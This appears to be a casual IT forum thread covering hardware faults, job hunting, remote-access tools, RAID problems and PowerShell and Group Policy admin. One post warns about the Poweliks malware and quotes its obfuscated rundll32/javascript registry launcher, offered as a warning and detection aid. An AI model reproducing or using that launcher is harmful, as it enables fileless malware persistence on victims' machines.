Yep, sounds like the PSU is being ghey. How the hell did your nice Corsair crap out before my DIABLOTEK cheap ass PSU? :jester:

I think its defective from factory cuz this happened before too when it was only like a month old lol thats how I knew about the paper clip trick. Ill prob go pick up a 1000 or 1500 depending on price

[stonehenge]

oh yeah i forgot about that, I thought you bought a new one back then

[theholycow]

WTF can I do with this?

1. Phishing email went to all my users.

2. I contacted web host where phishing page is. No response. It's a fake hosting company that exists entirely to host phishing, spam, etc.

3. I contacted registrar. Same thing. No response, and looks like they handle fake shit.

4. I contacted ICANN:
ICANN has reviewed and closed your complaint because:

- This complaint is only for registrars under the 2013 Registrar Accreditation Agreement (RAA). Registrars under the 2001 or 2009 RAA do not have to comply with this requirement. To determine which RAA version applies to a registrar, visit the ICANN-Accredited Registrars page at http://www.icann.org/registrar-reports/accredited-list.html, which lists the RAA version for every registrar.

ICANN considers this matter now closed.
WTF can I do? Sic anon on them? Wouldn't know how.

Hmm not sure. The most I deal with spam/phishing is clicking the report spam button to send it to MS/Google. :pow:

this be good for IT guys

next time you work on some fools computer use this site:

http://hackertyper.net/

make them think you're doing some crazy over the top complicated stuff to fix their computer

It would probably work best on people who have simple issues to fix(a cord unplugged or frozen screen) because those people are clearly stupid enough to believe you're really doing something.

[VmaxEngage]

Yep that's what I thought. Not really what I was looking for but if I can get my foot in the door and get some experience and network with people who knows what will come of it.

[theholycow]

For confidence, try not to imagine that the stakes are high. I got my current job because I was relaxed and friendly and even a little jokey at the interview -- because, honestly, I did not believe that the position existed. I thought it was going to be completely nothing like I was told, or it was going to be a scam or something. I showed up and just chilled with the folks who were interviewing me, chatted, etc. I was honest and casual, even when they asked me about my weaknesses -- I told them that I procrastinate (though I did say I do better at work than at home).

Also, my boss has a name similar to a celebrity and instead of making the same dumb jokes that most people would make I asked him if he has a problem with people making the same dumb jokes over and over like Michael Bolton in Office Space. He appreciated that, and I'm sure it made me stand out and be memorable.

[VmaxEngage]

lol office space is awesome.

Last interview I went to I feel like I was pretty relaxed, it was a local company here, Cables n Kits. They said I was over qualified (was a warehouse/packing position) and that if they ever needed someone extra on the cisco testing/refurbishing side they would call me back.

Maybe I should get in touch with them again :hmm:

[stonehenge]

Definitely be relaxed and talkative. On the hiring committees we would pick people that we felt would fit in and get along with everyone. We'd pick the guy who needed a little training but was funny and honest vs the guy who k new everything and was a cocky douche. Lol

Boss who is leaving has 3 hds in his computer, since he's leaving, he asked me to "compress all three HDs onto one so I can take it with me".

If the total space used on all three is small enough, I'm just going to make them into three .iso files and throw them onto one HD. If they are too big and require actual compression, do any of you have any decent program recommendations to compress the entire contents of an HD for free? Preferably something that doesn't require him to install some weird shit to decompress it later.

Oh and he's on a Mac. :|

---------- Post added at 08:41 AM ---------- Previous post was at 08:40 AM ----------

NTFS compression, you might need a non-Mac to do it but I think a Mac should be able to read/write a compressed NTFS. I know Linux can.

Otherwise tar/zip allthethings except already compressed stuff like JPG/MPG/MP3/etc.

[stonehenge]

now he tells me he has a new Mac mini that he is going to be taking with him so he wants everything moved from those three HDs in his old-as-fuck-Mac to his new mini.

Assuming the Mini's HD is big enough, I'm just going to use Target Mode and just copy everything straight over. If the minis HD can't hold it all, I'll tar allthethings (still via Target Mode).

[stonehenge]

Did a side jerb with a friend. This place wanted us to pull hard drives and recycle/trash the computers because they're old/slow. As we were pulling HDs we noticed that three were i5s, half shipped w/ w7 and are nice, and the slowest of them are core2 duos. All are HP desktops. Three of the C2Ds are bamf compact boxes with WiFi.

These were used for browser/office/email, they didn't need replacing. But that's not our decision. :smileshrug:

Needless to say, I now have a little mini Core2Duo with WiFi and an i5 to play with, as does my buddy, and we have like 15 other boxes that we may sell/give to peeps instead of trashing/recycling lol

Juan, tell me aboot TeamViewer. In a moment of weakness I installed it on my parents new computer without reading about it or investigating how it works. It sure is convenient. Is it encrypted? When it tells me it has closed the connection because I've used it long enough to be fair, can I just reconnect without consequence?

[stonehenge]

I've never had it disconnect because I used it for too long :chin: and I've had it connected for long periods of time.

It does say "Thank you for being fair." when you disconnect because you're using the free version and it wants to remind you that you should pay for commercial use. AFAIK there are no limitations on the free version except for the commercial/private usage so you should be able to reconnect if they've added a timeout.

As for encryption, I honestly haven't looked into it. I haven't used it for anything too vital yet.

[theholycow]

OIC. Left it overnight and it said "Thank you for being fair." when I looked again in the morning, just figured it timed out but probably just lost connection. Come to think of it, host got rebooted.

[stonehenge]

Yeah, then that was just the standard "thx bro, i trust that you aren't using this for bidness :suspicious :" message.

Compaq Craptop power brick might work for the lil hp. :chin: except it is 18.5v instead of 19.5v so it might not be enough. We'll see.

[theholycow]

If polarity is ok and connector fits, it should be fine. 1 volt difference will likely not even be noticed by the machine, and hopefully there's sufficient amps to run it.

[stonehenge]

That's what I'm hoping. Will try later. It looks like the right connector but could be slightly different.

I've seen that company name before, it reminded me of this:
https://en.wikipedia.org/wiki/Blue_Wave
It was an offline reader for BBS posts. Imagine if you had a 2400 baud modem and wanted to read hundreds of AOT posts but AOT could only have one user at a time...download those messages, then read them at your leisure, write your replies, and upload those as a batch.

Instead of sigs, taglines were common. Bluewave could add them randomly from a text file and came with a default set of humorous ones. One of them was "She'll be having fun fun fun 'til her daddy takes her cucumber away."

I'm inherently lazy. Like, "I want a bottle of water, but it's all the way over there, so I guess I'll just dehydrate" style lazy.

Our server room is maybe, MAYBE, 50 feet from my desk. But I've got to go around a wall and unlock two doors, disable an alarm system, fight a dragon, and then find the machine I want to administer. Ain't nobody got time for that.

To make sure that I can maintain my standards of laziness, we have remote management available for all of our servers. Since we're a Dell shop, that consists of DRAC , the Dell Remote Access Controller (with the Enterprise license for remote console).

In the past, these have been of questionable quality and perhaps I have, on occasion, called into question the marital status of the DRAC's mother, but we seem to have settled into an uneasy truce where I try to do things, and it continually tells me no until I ask nicely enough.

fuuuuuuuuuu

BlueWave is interviewing me for an Associate System Admin position, but they are 40 miles away...fuuuuu that is far

[stonehenge]

if pay is decent, you could get a studio apt or something

pros: can walk around nekkid

cons: no free nomz and stuff

:jester:

[VmaxEngage]

Pay would have to be great, the area they are in is snooty high class close to atlanta type area. I could probably get some apt or something and go to school, there is Southern PolyTech that is close to there that offers a BS in IT


I already walked around nekkid when no one home :stimpy:

[Cez★]

Take interview. Ask pay/compensation for drive

[stonehenge]

definitely take the interview, even if it doesn't work out, it's worth going to get some interview experience

[VmaxEngage]

Had the phone interview today, $13-15 an hour depending on technical evaluation. 10-32 hours a week. 80 mile commute.

:emokfc:

[stonehenge]

pay is fine but 10-31hrs/wk will suck if it fluctuates and you depend on it for rent/gas/food/etc :blahclap:

[VmaxEngage]

Yep, I would consider it more if it was a full time position.

This is only the first place to respond, I've only sent out about 10 applications so far

[stonehenge]

if it was full time or if it was closer then would be win. full time would be long term win, part time would be great for getting the experience and possible getting full in the future.

but part time 80 miles away eh idk

cao probably commutes farther than that tho :jester:

[VmaxEngage]

I would have to sell my truck for a prius or something :emo:

They have an office that is insanely closer but the associate system admins have to be at the one 40 miles away. If i could land 40 hrs with $15 an hour then I would jump on it, possibly move down there to work and go to school for my BS

[Cez★]

that sucks mayne. hpoe something closer comes up for ya

yup it'd be 40.5 miles each way.

can't do the 10-32 hrs tho...if I got stuck with 10 hours a week for multiple weeks I would be fucked

Guess it's a start

[Cez★]

Jerb at Verizon has good benefits. Med/Dental starting day one. Tuition assistance. Phone discount.


I may have something doing Cisco networking, gotta take a Technical Evaluation in a couple weeks if I go that route. It's an apprenticeship

[race2c]

nope.


Customer Service Representative :emo:

[VmaxEngage]

Verizon job might be in the bag. Have final interview on Friday. $13.50/hr with benefits day one.

Have an interview monday for Sage Software. $11/hr then $11.50/hr after training. Helpdesk, contract for 6 months then who knows.

Also have chance for Entry Level Cisco Engineer / Technical Apprentice at Adcap Network Systems. Have to do an Evaluation in 2 weeks. I think this might pay the best, and falls directly into what I went to school for.

What you guys think?

[theholycow]

Have an interview monday for Sage Software. $11/hr then $11.50/hr after training. Helpdesk, contract for 6 months then who knows.

The accounting software company? Maybe I could call and ask for you next time that shit gets fucked.

[Cez★]

:lol:


dunno man, u ok living with $11 for a while? idk how much verizon dudes make after a while but the 2nd gig sounds like theres more to move up in after a while

[stonehenge]

I think VZW CSR can make decent $$$ after a while. Those foos always dressed like pimps with bamf watches and shit. :roflmao:

They fgts tho. :crossarms: vzw plz

unless blake is one of course :uhohdoor:




Cisco Engineer sounds like it could be tough but pay well and fit in with your schooling.

Second jerb has the potential to go to shit since it's a contract position they can not renew in 6mos but it could have potential to move up and become call center bau5 status. :shrug:


I'd probably take the vzw jerb because it's more of a sure thing but Sage is at least IT related and Cisco is exactly what you worked for.

[VmaxEngage]

The accounting software company? Maybe I could call and ask for you next time that shit gets fucked.

LOL fuck yea it's the accounting stuff. I am probably going to call them and cancel the interview. No need to waste time.

Verizon seems to be the best, just wish I knew more about the Cisco job. Tried to find more info but came up short. May just wait till the evaluation and see whats up.

[theholycow]

They don't seem to suck or anything, don't cancel based on my comment, I was just saying we use that shit where I work. I think I've only called support once or twice in 7 years.

[Chevrolet Fanatic]

Working on a desktop and it has an external power brick. I didn't even think these were used that much? Fucking compaq/hp, why?

[stonehenge]

They usually only do that when the computer itself is extra compact. I have an HP I got for free with an external brick. The PC is small enough to mount to the back of a monitor lol

So it makes sense.

But if the tower is huge then plz.

Wife got home from school and said my computer was bootlooping, saying something about a degraded array, then some kind of "attempt to restore", then the bios logo. :pow:

I hadn't even started installing anything, was just downloading the CentOS .iso :emo:

My computer has 3 HDs. A small-ish SSD as the main drive and mirrored 2TB drives for storage. The "degraded array" message leads me to believe that one of my 2TB took a shit. I have my User profile on that drive (to keep the SSD from filling up with my downloads and shit) so I'm wondering if that is keeping Windows from booting. :chin:

Will investigate when I get home.

[stonehenge]

Got home and computer booted up fine. I still need to put a new 2TB in there to "undegrade" my array but otherwise, bish is running fine now wtf.

That doesn't indicate that port is forwarded correctly, but if we assume it is then it sounds like ISP is blocking that shet.

Virus alert...

New virus named Poweliks has some very novel strategies, gets new versions faster than the community can keep up, and can be very difficult to remove if you don't get to it soon enough.

Although initial infection vector is a file, probably a MS Word file in a fake "UPS package for you" type of email, once it's in you can remove EVERY infected file and still be infected because it infects the registry...and not just the usual places in the usual ways. It uses malformed key names to make it impossible to see or remove in regedit, and it places itself in various areas that you never knew would run stuff.

And what exactly does it place in the registry, you ask?
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){return%20String.fromCharCode(_.charC odeAt()-1);})) -Embedding
:whoa: What that jumble of obfuscated code does is fail out of one intepreter after another, leaving just enough valid stuff along the way to prevent errors, and eventually it gets to run stuff.

Here's more on that crazy command line: http://stackoverflow.com/questions/25131484/rundll32-exe-javascript

And here's one article on Poweliks in general: https://blog.gdatasoftware.com/blog/article/poweliks-the-persistent-malware-without-a-file.html

First indication that you are seeing it might be tons of Rundll32's with no parent process. If you view the TCP/IP tab for their properties dialog box in Process Explorer, you'll see they're connecting to tons of random shit, obviously playing remote control zombie. They chew up the CPU and respawn when you kill them. You might also see Powershell processes, which open momentarily to spawn them.

---------- Post added at 07:01 PM ---------- Previous post was at 07:01 PM ----------

In other news, speaking of Process Explorer, the latest version has an awesome new feature: VirusTotal.com integration. Turn it on in the menu and you get a column for it. Procexp makes hashes of every file it sees and checks those hashes against VirustTotal.com's awesome service (which checks files against 55 different virus scanners).

Got a call today from an IT recruiter.

Trustwave has a spot open for IT Sec, but it's contract for 6-12 months with a chance at perm hire. Can be paid up to $33/hr. during contract then $55k a year if hired on perm.

What y'all think? Trustwave is the company Target used for their security and the ones who dropped the ball with letting Target get compromised.

dat powershell :insane:

Made a script that pulls in a list of users/depts from a text file. It creates a home directory for the user in the proper departmental subfolder, gives them full access and ownership to the new folder, removes my access from the folder (which gets added when I create it), and puts them into a group based on their department.

This should save me time in the future. It's too bad I can't just use the Profile tab in their user account to have all that done automatically. :pissedfist:

[VmaxEngage]

Fuck n A. Powershell is confusing as hell. Never used it before, never made any scripts.

We do have N-Able at work and it has a script automation tool that makes scripting pretty damn easy. just drag n drop

[stonehenge]

bash and batch scripting is pretty easy, you are basically just listing commands you want to run and putting them into for loops with variables and whatnot

powershell is like a full on programming language, it is object orientated and shit. It's pretty powerful if you learn how to use it but :insane: lol

I got it all working how I wanted so that's nice.

any of you have a Group Policy that will limit a group of users so that they have admin access when logging into workstations and can join/remove from the domain, but they can not log into servers or modify group policy, users, etc?

We used to have a linux domain and we're moving to Windows and changing allthethings. I'll figure it out either way but if any of you have a policy that works well, I can haz a look at it? :chuy:

wat

I thought I posted a reply. Well, here it is again.

Add users to a group. Give that group "Deny" permissions for logging into servers.

Possibly use "Delegate Control" function.
http://windowsitpro.com/active-directory/view-remove-ad-delegated-permissions

At my work we just manually grant local administrator permissions to specific users on their usual computers and we do all the join/remove from domain operations. (Actually, any local admin can remove from domain, even without any domain admin privilege.)

[stonehenge]

Well we'll use local accounts for admin access for users. I'm thinking of accounts for desktop techs, web developers, etc that will/might need admin access but we don't want them to get into GP or anything.

Will investigate that link on Tuesday.
